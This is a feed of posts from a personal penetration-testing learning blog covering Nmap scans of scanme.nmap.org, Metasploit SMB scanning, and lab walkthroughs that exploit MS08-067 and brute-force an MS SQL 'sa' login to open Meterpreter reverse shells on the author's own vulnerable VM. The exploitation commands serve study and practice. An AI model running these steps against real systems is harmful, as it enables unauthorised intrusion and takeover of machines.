Quantcast
Channel: Pax Pentest » Nmap
Viewing all 47 articles
Browse latest View live

Information Gathering: Nmap Network Port Scanning

$
0
0

Both The Basics of Hacking and Penetration Testing and Metasploit: The Penetration Tester’s Guide introduce us early on to the port scanner Nmap.

Nmap Network Scanning describe the tool thus:

Nmap (“Network Mapper”) is a free and open source utility for network exploration and security auditing. Many systems and network administrators also find it useful for tasks such as network inventory, managing service upgrade schedules, and monitoring host or service uptime. Nmap uses raw IP packets in novel ways to determine what hosts are available on the network, what services (application name and version) those hosts are offering, what operating systems (and OS versions) they are running, what type of packet filters/firewalls are in use, and dozens of other characteristics. It was designed to rapidly scan large networks, but works fine against single hosts. Nmap runs on all major computer operating systems, and both console and graphical versions are available.

You can read roughly half of this book online for free here.

It’s worth noting at the outset the Nmap book assumes basic familiarity with TCP/IP and networking concepts. The TCP/IP Guide is recommended, but before buying, a free online version is available. This is an extremely lengthy guide, but if you’re starting from the place of near complete ignorance as I was, then I do recommend spending time reading it.

You can run Nmap in Backtrack/Karli by simply typing ‘nmap’ in the terminal.

Here is the output from an Nmap scan (nmap -Pn -sS ipaddress) of the Windows system on my Virtual Hacking Lab:

Host is up (0.24s latency).
Not shown: 990 closed ports
PORT STATE SERVICE
21/tcp open ftp
25/tcp open smtp
80/tcp open http
135/tcp open msrpc
139/tcp open netbios-ssn
443/tcp open https
445/tcp open microsoft-ds
912/tcp open apex-mesh
1025/tcp open NFS-or-IIS
1433/tcp open ms-sql-s

When I performed the scan again adding the -A flag which attempts advanced service enumeration and banner grabbing, giving even more details of the target; results included:

80/tcp open http Microsoft IIS httpd 5.1
|_http-title: Metasploit Sample Web Attack Site
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn
443/tcp open https?
445/tcp open microsoft-ds Microsoft Windows XP microsoft-ds
912/tcp open vmware-auth VMware Authentication Daemon 1.0 (Uses VNC, SOAP)
1025/tcp open msrpc Microsoft Windows RPC
1433/tcp open ms-sql-s Microsoft SQL Server 2005 9.00.1399.00; RTM

Device type: general purpose
Running: Microsoft Windows XP|2003
OS CPE: cpe:/o:microsoft:windows_xp cpe:/o:microsoft:windows_server_2003
OS details: Microsoft Windows XP SP2 or SP3, or Windows Server 2003

With all of this information at hand, exploiting the system would be a breeze.

Nmap results can be imported into Metasploit.


Metasploit Server Message Block Scanner: smb_version module

$
0
0

Metasploit has an inbuilt ‘targeted’ scanner designed specifically to attempt to identify Microsoft Windows versions on networks, called smb_version module.

SMB stands for Server Message Block and Wiki says this:

In computer networkingServer Message Block (SMB), also known as Common Internet File System (CIFS) operates as an application-layer network protocol mainly used for providing shared access to filesprintersserial ports, and miscellaneous communications between nodes on a network. It also provides an authenticated inter-process communication mechanism. Most usage of SMB involves computers running Microsoft Windows, where it was known as “Microsoft Windows Network” before the subsequent introduction of Active Directory. Corresponding Windows services are the “Server Service” (for the server component) and “Workstation Service” (for the client component).

OK, let’s see how the scan performs on my Virtual Hacking Lab.

Once inside the msf Console:

msf > use scanner/smb/smb_version
msf auxiliary(smb_version) > set RHOSTS ipaddress
RHOSTS => ipaddress
msf auxiliary(smb_version) > run

Output:

ipaddress is running Windows XP Service Pack 2 (language: English) (name:LAB) (domain:WORKGROUP)

This Metasploit scan was more precise and accurate than the Nmap scan, which although correctly identified the OS system as Windows XP, could not determine if it was Service Pack two, or three.

My First Metasploit Exploit

$
0
0

I shall attempt my first exploit and target the Windows portion of my Virtual Hacking Lab. I’m following instructions given in Chapter 5 (The Joy of Exploitation) of Metasploit: The Penetration Tester’s Guide.

The exploitee system comprises: Windows XP Pro Service Pack 2 (unpatched). Firewall and software updates switched off, Microsoft Internet Information Services (IIS) (server) and FTP service enabled, SQL Server 2005 Express configured, and a vulnerable web app up and running.

First up is to scan the ports with Nmap from within Metasploit:

nmap -sT -A –script=smb-check-vulns –script-args=unsafe=1 -P0 192.168.1.79

I have run an Nmap scan against this before using different switches; however, this time, included in the results is:

Host script results:
| smb-check-vulns:
| MS08-067: VULNERABLE
| Conficker: Likely CLEAN
| SMBv2 DoS (CVE-2009-3103): NOT VULNERABLE
| MS06-025: NO SERVICE (the Ras RPC service is inactive)
|_ MS07-029: NO SERVICE (the Dns Server RPC service is inactive

Obviously the ‘MS08-067: VULNERABLE’ is the pertinent result and so on to the exploit:

I searched Metasploit for the vulnerability:

msf > search MS08-067

Matching Modules
================

Name Disclosure Date Rank Description
—- ————— —- ———–
Name: exploit/windows/smb/ms08_067_netapi
Disclosure Date: 2008-10-28
Rank:great
Description: Microsoft Server Service Relative Path Stack Corruption

So, to the attack:

msf > use exploit/windows/smb/ms08_067_netapi

msf exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp (This has the target machine connect to the attacking machine)

msf exploit(ms08_067_netapi) > show targets

Exploit targets:

Id Name
– —-
0 Automatic Targeting
1 Windows 2000 Universal
2 Windows XP SP0/SP1 Universal
3 Windows XP SP2 English (AlwaysOn NX)

….SNIP….

msf exploit(ms08_067_netapi) > set TARGET 3
TARGET => 3 (I know from Nmap scan the Operating System details)
msf exploit(ms08_067_netapi) > set RHOST 192.168.1.79
RHOST => 192.168.1.79 (Target machine)
msf exploit(ms08_067_netapi) > set LHOST 192.168.1.70
LHOST => 192.168.1.70 (Attacking Machine)
msf exploit(ms08_067_netapi) > set LPORT 8080
LPORT => 8080 (Attacking machine’s listening port)
msf exploit(ms08_067_netapi) > exploit

[*] Started reverse handler on 192.168.1.70:8080

[-] Exploit failed [timeout-expired]: Timeout::Error execution expired
msf exploit(ms08_067_netapi) > exploit

[*] Started reverse handler on 192.168.1.70:8080
[-] Exploit failed: Rex::Proto::SMB::Exceptions::ErrorCode The server responded with error: STATUS_PIPE_NOT_AVAILABLE (Command=162 WordCount=0)
msf exploit(ms08_067_netapi) > exploit

[*] Started reverse handler on 192.168.1.70:8080
[-] Exploit failed: Rex::Proto::SMB::Exceptions::ErrorCode The server responded with error: STATUS_PIPE_NOT_AVAILABLE (Command=162 WordCount=0)
msf exploit(ms08_067_netapi) > exploit

[*] Started reverse handler on 192.168.1.70:8080
[*] Attempting to trigger the vulnerability…
[*] Sending stage (751104 bytes) to 192.168.1.79
[*] Meterpreter session 1 opened (192.168.1.70:8080 -> 192.168.1.79:1036) at 2013-06-02 10:06:42 +0100

meterpreter > shell
Process 2236 created.
Channel 1 created.
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>

And there it is, in all its glory, an interactive command shell. I now have complete control over the target machine.

Obviously the Virtual Hacking Lab target is deliberately configured vulnerable and the operating system is old and unpatched with no firewall; still, really enjoyed testing out Metasploit for the first time and getting the desired result.

Metasploit The Penetration Tester’s Guide – Ubuntu 9.04 Heap-Based Samba Exploit

$
0
0

Just a quick post to identify a frustrating problem in Metasploit: The Penetration Tester’s Guide.

Chapter five – The Joy of Exploitation – “Exploiting an Ubuntu Machine” simply doesn’t work. The book assumes Ubuntu 9.04 ‘Jaunty Jackalope’ Operating System comes installed with Apache and Samba, which it doesn’t.  ’Apt-Get Install’ doesn’t work and I have not found a solution to this online.

This is all Nmap could offer:

All 1000 scanned ports on ubuntulab.home are closed

Too many fingerprints match this host to give specific OS details

Apparently, this version of Ubuntu comes with all ports closed by default. I’ve tried opening ports, turning off the firewall (I believe off is default), installing software, dual booting, using another VM and so on.

Nothing worked.

I don’t think this exploit is worth the time it would take to configure the necessary vulnerabilities in Ubuntu 9.04. It also feels counterintuitive to expend a great deal of effort making something hackable.

Identifying an Nessus Scan with Wireshark

$
0
0

As I’m playing around with Wireshark I thought I’d run an Nessus scan on the Windows portion of my Virtual Hacking Lab to see if I could spot traces of the scan.

Well, as soon as I started the scan Wireshark went into overdrive and in a little over 3 minutes registered over 17,000 packets, which is a HUGE amount compared with normal.

Coupled with this was the fact that the string “Nessus” appeared throughout; some 83 times.

Here’s some examples:

wireshark_nessus

I’ve heard Nessus described as noisy, but my goodness.

And of course, if I understood Wireshark fully, I bet there’s lots more subtle ways of detecting this scan.

I look forward to trying this out with Nmap.

Metasploit: Exploiting MS SQL Server: Fast-Track, mssql_ping, mssql_login, mssql_payload, Meterpreter Shell

$
0
0

I’m targeting the MS MSQL Server on the Windows portion of my Virtual Hacking Lab and following instructions given in Chapter 6 (Meterpreter) of Metasploit: The Penetration Tester’s Guide.

The exploitee system comprises: Windows XP Pro Service Pack 2 (unpatched). Firewall and software updates switched off, Microsoft Internet Information Services (IIS) (server) and FTP service enabled, SQL Server 2005 Express configured, and a vulnerable web app up and running.

Fist step: Nmap scan from within Metasploit: The pertinent results for this exploit are:

1433/tcp open  ms-sql-s      Microsoft SQL Server 2005 9.00.1399.00

Running: Microsoft Windows XP|2003
OS CPE: cpe:/o:microsoft:windows_xp cpe:/o:microsoft:windows_server_2003
OS details: Microsoft Windows XP SP2 or SP3, or Windows Server 2003

Interestingly, Nmap couldn’t definitively identify which Windows Servce Pack, but of course I know it’s Service Pack 2.

MS SQL is installed by default on TCP port 1433 and UDP port 1434, so I need to confirm port 1434:

nmap -sU 192.168.1.79 -p1434

PORT STATE SERVICE
1434/udp open|filtered ms-sql-m

And the scan confirms this.

Now to use Metasploit mssql_ping to pick up more information:

msf > use scanner/mssql/mssql_ping
msf auxiliary(mssql_ping) > set RHOSTS 192.168.1.79
RHOSTS => 192.168.1.79
msf auxiliary(mssql_ping) > set THREADS 20
THREADS => 20
msf auxiliary(mssql_ping) > exploit

[*] SQL Server information for 192.168.1.79:
[+] ServerName = LAB
[+] InstanceName = SQLEXPRESS
[+] IsClustered = No
[+] Version = 9.00.1399.06
[+] tcp = 1433
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

Lots of information here, now to brute force MS SQL with mssql_login:

>msf > use scanner/mssql/mssql_login
msf auxiliary(mssql_login) > set PASS_FILE /usr/share/set/src/fasttrack/wordlist.txt
PASS_FILE => /usr/share/set/src/fasttrack/wordlist.txt
msf auxiliary(mssql_login) > set RHOSTS 192.168.1.79
RHOSTS => 192.168.1.79
msf auxiliary(mssql_login) > set THREADS 10
THREADS => 10
msf auxiliary(mssql_login) > exploit

[+] 192.168.1.79:1433 – MSSQL – successful login ‘sa’ : ‘password1′

MS SQL password and login successfully guessed.

Now to use the mssql_payload which exploits xp_cmdshell:

msf > use windows/mssql/mssql_payload
msf exploit(mssql_payload) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(mssql_payload) > set LHOST 192.168.1.70
LHOST => 192.168.1.70
msf exploit(mssql_payload) > set LPORT 443
LPORT => 443
msf exploit(mssql_payload) > set RHOST 192.168.1.79
RHOST => 192.168.1.79
msf exploit(mssql_payload) > set PASSWORD password1
PASSWORD => password1
msf exploit(mssql_payload) > exploit

[*] Started reverse handler on 192.168.1.70:443
[*] The server may have xp_cmdshell disabled, trying to enable it…
[*] Command Stager progress – 1.47% done (1499/102246 bytes)

[....]

[*] Sending stage (751104 bytes) to 192.168.1.79
[*] Command Stager progress – 100.00% done (102246/102246 bytes)
[*] Meterpreter session 1 opened (192.168.1.70:443 -> 192.168.1.79:1293) at 2013-06-13 10:39:46 +0100

meterpreter >

So I’m inside the target machine with the Meterpreter shell.

In my next post I will explore what to do next with Meterpreter.

Learning Nmap Security Network Port Scanner: http://scanme.nmap.org/

$
0
0

I’ve decided to make notes on my progress through Nmap Network Scanning to mix things up a little.

The first thing of course is to find a legitimate target to scan so as I won’t land in a heap of trouble. Thankfully Nmap provide this in the form of Scanme.

Hello, and welcome to Scanme.Nmap.Org, a service provided by the Nmap Security Scanner Project and Insecure.Org.

We set up this machine to help folks learn about Nmap and also to test and make sure that their Nmap installation (or Internet connection) is working properly. You are authorized to scan this machine with Nmap or other port scanners. Try not to hammer on the server too hard. A few scans in a day is fine, but dont scan 100 times a day or use this site to test your ssh brute-force password cracking tool.

Thanks
-Fyodor

The first task is to uncover as much as possible about the URL without using Nmap. First up is the IP address:

root@Dexter:~# host scanme.nmap.org
scanme.nmap.org has address 74.207.244.221
scanme.nmap.org has IPv6 address 2600:3c01::f03c:91ff:fe93:cd19

And now DIG:

root@Dexter:~# dig scanme.nmap.org

; <<>> DiG 9.8.4-rpz2+rl005.12-P1 <<>> scanme.nmap.org
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 34974
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0

;; QUESTION SECTION:
;scanme.nmap.org. IN A

;; ANSWER SECTION:
scanme.nmap.org. 80189 IN A 74.207.244.22

Hop over to Netcraft and you can view a report I generated here.

Check for Domain Name Servers:

root@Dexter:~# host -t ns http://scanme.nmap.org/
Host http://scanme.nmap.org/ not found: 3(NXDOMAIN)

Nothing found.

A quick Whois on the above IP:

root@Dexter:~# whois 74.207.244.221

#
# ARIN WHOIS data and services are subject to the Terms of Use
# available at: https://www.arin.net/whois_tou.html
#
#
# The following results may also be obtained via:
# http://whois.arin.net/rest/nets;q=74.207.244.221?showDetails=true&showARIN=false&ext=netref2
#

NetRange: 74.207.224.0 – 74.207.255.255
CIDR: 74.207.224.0/19
OriginAS:
NetName: LINODE-US
NetHandle: NET-74-207-224-0-1
Parent: NET-74-0-0-0-0
NetType: Direct Allocation
Comment: This block is used for static customer allocations.
RegDate: 2009-01-14
Updated: 2012-02-24
Ref: http://whois.arin.net/rest/net/NET-74-207-224-0-1

OrgName: Linode
OrgId: LINOD
Address: 329 E. Jimmie Leeds Road
Address: Suite A
City: Galloway
StateProv: NJ
PostalCode: 08205
Country: US
RegDate: 2008-04-24
Updated: 2010-08-31
Comment: http://www.linode.com
Ref: http://whois.arin.net/rest/org/LINOD

OrgTechHandle: LNO21-ARIN
OrgTechName: Linode Network Operations
OrgTechPhone: +1-609-593-7103
OrgTechEmail: support@linode.com
OrgTechRef: http://whois.arin.net/rest/poc/LNO21-ARIN

OrgAbuseHandle: LAS12-ARIN
OrgAbuseName: Linode Abuse Support
OrgAbusePhone: +1-609-593-7103
OrgAbuseEmail: abuse@linode.com
OrgAbuseRef: http://whois.arin.net/rest/poc/LAS12-ARIN

OrgNOCHandle: LNO21-ARIN
OrgNOCName: Linode Network Operations
OrgNOCPhone: +1-609-593-7103
OrgNOCEmail: support@linode.com
OrgNOCRef: http://whois.arin.net/rest/poc/LNO21-ARIN

RNOCHandle: LNO21-ARIN
RNOCName: Linode Network Operations
RNOCPhone: +1-609-593-7103
RNOCEmail: support@linode.com
RNOCRef: http://whois.arin.net/rest/poc/LNO21-ARIN

RTechHandle: LNO21-ARIN
RTechName: Linode Network Operations
RTechPhone: +1-609-593-7103
RTechEmail: support@linode.com
RTechRef: http://whois.arin.net/rest/poc/LNO21-ARIN

RAbuseHandle: LAS12-ARIN
RAbuseName: Linode Abuse Support
RAbusePhone: +1-609-593-7103
RAbuseEmail: abuse@linode.com
RAbuseRef: http://whois.arin.net/rest/poc/LAS12-ARIN

NSLookup:

root@Dexter:~# nslookup 74.207.244.221
Server: 192.168.1.254
Address: 192.168.1.254#53

Non-authoritative answer:
221.244.207.74.in-addr.arpa name = scanme.nmap.org.

That’s everything I can remember on digging out info on the URL and IP without using Nmap.

Learning Nmap Security Network Port Scanner: Host Discovery Controls – List Scan (-sL) and Ping Scan (-sP)

$
0
0

This is the second post detailing my notes on Nmap Network Scanning.

List Scan (-sL) <– This simply discovers and lists each host on a network without sending any packets. This is very stealthy. Reverse-DNS requests are made. The following scan enumerates the CIDR /28 network range (16 IP Addresses) surrounding the main server.:

nmap -sL scanme.nmap.org/28

Starting Nmap 6.25 ( http://nmap.org ) at 2013-06-16 19:23 BST
Nmap scan report for tsukasa.chibi.ca (74.207.244.208)
Nmap scan report for li86-209.members.linode.com (74.207.244.209)
Nmap scan report for li86-210.members.linode.com (74.207.244.210)
Nmap scan report for li86-211.members.linode.com (74.207.244.211)
Nmap scan report for li86-212.members.linode.com (74.207.244.212)
Nmap scan report for li86-213.members.linode.com (74.207.244.213)
Nmap scan report for li86-214.members.linode.com (74.207.244.214)
Nmap scan report for li86-215.members.linode.com (74.207.244.215)
Nmap scan report for li86-216.members.linode.com (74.207.244.216)
Nmap scan report for li86-217.members.linode.com (74.207.244.217)
Nmap scan report for li86-218.members.linode.com (74.207.244.218)
Nmap scan report for logicmerc.com (74.207.244.219)
Nmap scan report for li86-220.members.linode.com (74.207.244.220)
Nmap scan report for scanme.nmap.org (74.207.244.221)
Nmap scan report for li86-222.members.linode.com (74.207.244.222)
Nmap scan report for li86-223.members.linode.com (74.207.244.223)
Nmap done: 16 IP addresses (0 hosts up) scanned in 0.51 seconds

Ping Scan (-sP) <– This commands Nmap to only perform a ping scan and nothing more. Light reconnaissance and quite stealthy. The object of this scan is to discover which hosts are “up” and responding.

nmap -sP -T4 scanme.nmap.org/24

Starting Nmap 6.25 ( http://nmap.org ) at 2013-06-16 19:30 BST
Nmap scan report for gw-li86.linode.com (74.207.244.1)
Host is up (0.17s latency).
Nmap scan report for 74.207.244.2
Host is up (0.17s latency).
Nmap scan report for 74.207.244.3
Host is up (0.17s latency).
Nmap scan report for li86-5.members.linode.com (74.207.244.5)
Host is up (0.18s latency).
Nmap scan report for li86-6.members.linode.com (74.207.244.6)
Host is up (0.18s latency).
Nmap scan report for sushi.lolz.be (74.207.244.7)
Host is up (0.17s latency).
Nmap scan report for www.vin2vin.com (74.207.244.10)
Host is up (0.18s latency).

[.....]

Nmap done: 256 IP addresses (186 hosts up) scanned in 15.04 seconds

Just over 15 seconds to find 186 hosts up in a Class C sized address range.

The “-T4″ switch adjusts timing to the aggressive level 4 of 5, recommended if connection is faster than dialup.

Ping can be disabled (-PN), however, by default heavy probing is directed at hosts that are “up” and so disabling ping forces heavy probing of all hosts regardless, which can be too much if Class B sized (/16) address space requested.


Learning Nmap Security Network Port Scanner: -p0- -v -A -T4

$
0
0

This is the fifth post detailing my notes on Nmap Network Scanning.

Following the basic scan this one has a few more flags:

-p0- Scan all TCP ports

-v Verbose output

-A Aggressive including service/version, OS detection and Nmap Scripting Engine (NSE)

-T4 Speed up scan

And here it is:

~# nmap -p0- -v -A -T4 scanme.nmap.org

Starting Nmap 6.25 ( http://nmap.org ) at 2013-06-26 14:01 BST
NSE: Loaded 106 scripts for scanning.
NSE: Script Pre-scanning.
Initiating Ping Scan at 14:01
Scanning scanme.nmap.org (74.207.244.221) [4 ports]
Completed Ping Scan at 14:01, 0.17s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 14:01
Completed Parallel DNS resolution of 1 host. at 14:01, 0.04s elapsed
Initiating SYN Stealth Scan at 14:01
Scanning scanme.nmap.org (74.207.244.221) [65536 ports]
Discovered open port 554/tcp on 74.207.244.221
Discovered open port 80/tcp on 74.207.244.221
Discovered open port 22/tcp on 74.207.244.221
Increasing send delay for 74.207.244.221 from 0 to 5 due to 594 out of 1484 dropped probes since last increase.
Increasing send delay for 74.207.244.221 from 5 to 10 due to 13 out of 32 dropped probes since last increase.
SYN Stealth Scan Timing: About 5.05% done; ETC: 14:11 (0:09:43 remaining)
Warning: 74.207.244.221 giving up on port because retransmission cap hit (6).
SYN Stealth Scan Timing: About 7.04% done; ETC: 14:15 (0:13:25 remaining)
SYN Stealth Scan Timing: About 17.37% done; ETC: 14:16 (0:12:41 remaining)
SYN Stealth Scan Timing: About 22.06% done; ETC: 14:16 (0:11:54 remaining)
SYN Stealth Scan Timing: About 26.30% done; ETC: 14:16 (0:11:07 remaining)
SYN Stealth Scan Timing: About 32.21% done; ETC: 14:16 (0:10:21 remaining)
SYN Stealth Scan Timing: About 36.33% done; ETC: 14:16 (0:09:35 remaining)
SYN Stealth Scan Timing: About 41.90% done; ETC: 14:16 (0:08:50 remaining)
SYN Stealth Scan Timing: About 46.34% done; ETC: 14:16 (0:08:04 remaining)
SYN Stealth Scan Timing: About 50.90% done; ETC: 14:15 (0:07:18 remaining)
SYN Stealth Scan Timing: About 56.05% done; ETC: 14:15 (0:06:31 remaining)
SYN Stealth Scan Timing: About 61.36% done; ETC: 14:15 (0:05:44 remaining)
SYN Stealth Scan Timing: About 66.58% done; ETC: 14:15 (0:04:56 remaining)
SYN Stealth Scan Timing: About 71.94% done; ETC: 14:15 (0:04:10 remaining)
SYN Stealth Scan Timing: About 77.09% done; ETC: 14:16 (0:03:25 remaining)
Discovered open port 7070/tcp on 74.207.244.221
SYN Stealth Scan Timing: About 82.43% done; ETC: 14:16 (0:02:39 remaining)
SYN Stealth Scan Timing: About 87.68% done; ETC: 14:16 (0:01:52 remaining)
SYN Stealth Scan Timing: About 93.03% done; ETC: 14:16 (0:01:04 remaining)
Discovered open port 9929/tcp on 74.207.244.221
Completed SYN Stealth Scan at 14:16, 951.92s elapsed (65536 total ports)
Initiating Service scan at 14:16
Scanning 5 services on scanme.nmap.org (74.207.244.221)
Completed Service scan at 14:17, 6.32s elapsed (5 services on 1 host)
Initiating OS detection (try #1) against scanme.nmap.org (74.207.244.221)
Retrying OS detection (try #2) against scanme.nmap.org (74.207.244.221)
Initiating Traceroute at 14:17
Completed Traceroute at 14:17, 3.04s elapsed
Initiating Parallel DNS resolution of 14 hosts. at 14:17
Completed Parallel DNS resolution of 14 hosts. at 14:17, 0.66s elapsed
NSE: Script scanning 74.207.244.221.
Initiating NSE at 14:17
Completed NSE at 14:17, 5.18s elapsed
Nmap scan report for scanme.nmap.org (74.207.244.221)
Host is up (0.12s latency).
Not shown: 65529 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 5.3p1 Debian 3ubuntu7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 1024 8d:60:f1:7c:ca:b7:3d:0a:d6:67:54:9d:69:d9:b9:dd (DSA)
|_2048 79:f8:09:ac:d4:e2:32:42:10:49:d3:bd:20:82:85:ec (RSA)
80/tcp open http Apache httpd 2.2.14 ((Ubuntu))
|_http-favicon: Unknown favicon MD5: 156515DA3C0F7DC6B2493BD5CE43F795
|_http-methods: GET HEAD POST OPTIONS
|_http-title: Go ahead and ScanMe!
554/tcp open tcpwrapped
7070/tcp open tcpwrapped
9929/tcp open nping-echo Nping echo
25757/tcp filtered unknown
27697/tcp filtered unknown
Device type: general purpose|media device
Running (JUST GUESSING): Linux 3.X|2.6.X (90%)
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:2.6.38 cpe:/h:dish:vip_722k cpe:/o:linux:linux_kernel:2.6
Aggressive OS guesses: Linux 3.0 (90%), Linux 2.6.38 (88%), Linux 2.6.32 – 2.6.35 (87%), Dish Network VIP 722k DVR (Linux 2.6) (86%), Linux 2.6.32 – 2.6.38 (86%), Linux 2.6.39 (86%), Linux 3.2 (85%), Linux 2.6.38 – 3.0 (85%), Linux 2.6.35 (85%), Linux 2.6.29 – 2.6.31 (85%)
No exact OS matches for host (test conditions non-ideal).
Uptime guess: 35.616 days (since Tue May 21 23:30:05 2013)
Network Distance: 15 hops
TCP Sequence Prediction: Difficulty=204 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 23/tcp)
HOP RTT ADDRESS
1 5.61 ms BThomehub.home (192.168.1.254)
2 13.53 ms 217.32.140.72
3 15.67 ms 217.32.140.46
4 …
5 8.65 ms 31.55.164.51
6 14.00 ms 31.55.164.107
7 17.95 ms acc1-10GigE-0-0-0-4.bm.21cn-ipp.bt.net (109.159.248.66)
8 23.59 ms core1-te0-13-0-4.ealing.ukcore.bt.net (109.159.248.8)
9 18.96 ms peer1-xe4-0-0.telehouse.ukcore.bt.net (213.121.193.144)
10 26.25 ms 40gigabitethernet1-1.core1.lon1.he.net (195.66.224.21)
11 90.58 ms 10gigabitethernet10-4.core1.nyc4.he.net (72.52.92.241)
12 152.22 ms 10gigabitethernet9-6.core1.sjc2.he.net (184.105.213.173)
13 167.29 ms 10gigabitethernet3-2.core3.fmt2.he.net (184.105.222.13)
14 158.43 ms linode-llc.10gigabitethernet7-6.core3.fmt2.he.net (65.49.10.218)
15 161.52 ms scanme.nmap.org (74.207.244.221)

NSE: Script Post-scanning.
Initiating NSE at 14:17
Completed NSE at 14:17, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 977.29 seconds
Raw packets sent: 81133 (3.571MB) | Rcvd: 77775 (3.113MB)

Quite a lot of info and took over 16 minutes to complete.

Learning Nmap Security Network Port Scanner: TCP SYN Stealth Scan -sS – Half-Open Scanning

$
0
0

This is the sixth post detailing my notes on Nmap Network Scanning.

The SYN Scan is stealthy as it never completes the three-way handshake and so is also known as “half-open scanning”. This is a default setting, but can be requested with -sS.

I’m going to perform the -sS scan on two specific ports that I already know will return ‘open’ and ‘closed’.  At the same time I will enable - -packet-trace to observe the packets sent and received:

~# nmap -sS -p22,113 –packet-trace scanme.nmap.org

Starting Nmap 6.25 ( http://nmap.org ) at 2013-06-27 10:24 BST
SENT (0.2114s) ICMP 192.168.1.70 > 74.207.244.221 Echo request (type=8/code=0) ttl=46 id=9494 iplen=28
SENT (0.2116s) TCP 192.168.1.70:56558 > 74.207.244.221:443 S ttl=40 id=58656 iplen=44 seq=2891385438 win=1024 <mss 1460>
SENT (0.2117s) TCP 192.168.1.70:56558 > 74.207.244.221:80 A ttl=39 id=61378 iplen=40 seq=0 win=1024
SENT (0.2119s) ICMP 192.168.1.70 > 74.207.244.221 Timestamp request (type=13/code=0) ttl=54 id=53658 iplen=40
RCVD (0.3649s) TCP 74.207.244.221:443 > 192.168.1.70:56558 RA ttl=50 id=0 iplen=40 seq=0 win=0
NSOCK (0.3740s) nsi_new (IOD #1)
NSOCK (0.3740s) UDP connection requested to 192.168.1.254:53 (IOD #1) EID 8
NSOCK (0.3740s) Read request from IOD #1 [192.168.1.254:53] (timeout: -1ms) EID 18
NSOCK (0.3740s) Write request for 45 bytes to IOD #1 EID 27 [192.168.1.254:53]: 4…………221.244.207.74.in-addr.arpa…..
NSOCK (0.3740s) Callback: CONNECT SUCCESS for EID 8 [192.168.1.254:53]
NSOCK (0.3740s) Callback: WRITE SUCCESS for EID 27 [192.168.1.254:53]
NSOCK (0.4170s) Callback: READ SUCCESS for EID 18 [192.168.1.254:53] (74 bytes): 4…………221.244.207.74.in-addr.arpa………….G….scanme.nmap.org.
NSOCK (0.4180s) Read request from IOD #1 [192.168.1.254:53] (timeout: -1ms) EID 34
NSOCK (0.4180s) nsi_delete (IOD #1)
NSOCK (0.4180s) msevent_cancel on event #34 (type READ)
SENT (0.4576s) TCP 192.168.1.70:56814 > 74.207.244.221:22 S ttl=56 id=42589 iplen=44 seq=1522736270 win=1024 <mss 1460>
SENT (0.4579s) TCP 192.168.1.70:56814 > 74.207.244.221:113 S ttl=54 id=44404 iplen=44 seq=1522736270 win=1024 <mss 1460>
RCVD (0.6107s) TCP 74.207.244.221:22 > 192.168.1.70:56814 SA ttl=50 id=0 iplen=44 seq=1918152659 win=14600 <mss 1460>
RCVD (0.6128s) TCP 74.207.244.221:113 > 192.168.1.70:56814 RA ttl=50 id=0 iplen=40 seq=0 win=0
Nmap scan report for scanme.nmap.org (74.207.244.221)
Host is up (0.15s latency).
PORT STATE SERVICE
22/tcp open ssh
113/tcp closed ident

Nmap done: 1 IP address (1 host up) scanned in 0.64 seconds

The pertinent packet information for port 22:

SENT (0.4576s) TCP 192.168.1.70:56814 > 74.207.244.221:22 S ttl=56 id=42589 iplen=44 seq=1522736270 win=1024 <mss 1460>

RCVD (0.6107s) TCP 74.207.244.221:22 > 192.168.1.70:56814 SA ttl=50 id=0 iplen=44 seq=1918152659 win=14600 <mss 1460>

Acknowledgement received (SA = SYN/ACK) and so port 22 reported open. As Nmap crafted the original packet, the received acknowledgement surprises my operating system, which will respond with a RST packet; therefore, Nmap doesn’t have to acknowledge and close the connection.

Now port 113:

SENT (0.4579s) TCP 192.168.1.70:56814 > 74.207.244.221:113 S ttl=54 id=44404 iplen=44 seq=1522736270 win=1024 <mss 1460>

RCVD (0.6128s) TCP 74.207.244.221:113 > 192.168.1.70:56814 RA ttl=50 id=0 iplen=40 seq=0 win=0

Reset Acknowledgement (RST/ACK) received (RA) port 113 is closed.

A non-response is considered “filtered” as perhaps firewall blocked or down.

Learning Nmap Security Network Port Scanner: TCP Connect Scan (-sT)

$
0
0

This is the seventh post detailing my notes on Nmap Network Scanning.

The TCP connect scan is fundamentally different to the previous SYN Scan and should only be used when the SYN scan option is unavailable, as this completes connections to open ports; therefore, takes longer, sends more packets, and is easily logged on the target system.

Another fundamental difference is that Nmap does not craft the raw packet but requests the underlying Operating System to do so via the connect system call. This is a high level system call that browsers use and is part of the programming interface known as Berkeley Sockets API

Here’s a standard TCP Connect Scan:

~# nmap -sT scanme.nmap.org

Starting Nmap 6.25 ( http://nmap.org ) at 2013-06-29 18:11 BST
Nmap scan report for scanme.nmap.org (74.207.244.221)
Host is up (0.15s latency).
Not shown: 995 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
554/tcp open rtsp
7070/tcp open realserver
9929/tcp open nping-echo

Which yielded exactly the same results as the SYN Scan.

Here’s a TCP Connect Scan with Packet Trace enabled on port 22:

~# nmap -sT -p22 –packet-trace scanme.nmap.org

Starting Nmap 6.25 ( http://nmap.org ) at 2013-06-29 18:19 BST
SENT (0.1895s) ICMP 192.168.1.70 > 74.207.244.221 Echo request (type=8/code=0) ttl=58 id=3507 iplen=28
SENT (0.1898s) TCP 192.168.1.70:55137 > 74.207.244.221:443 S ttl=46 id=7852 iplen=44 seq=2281954343 win=1024 <mss 1460>
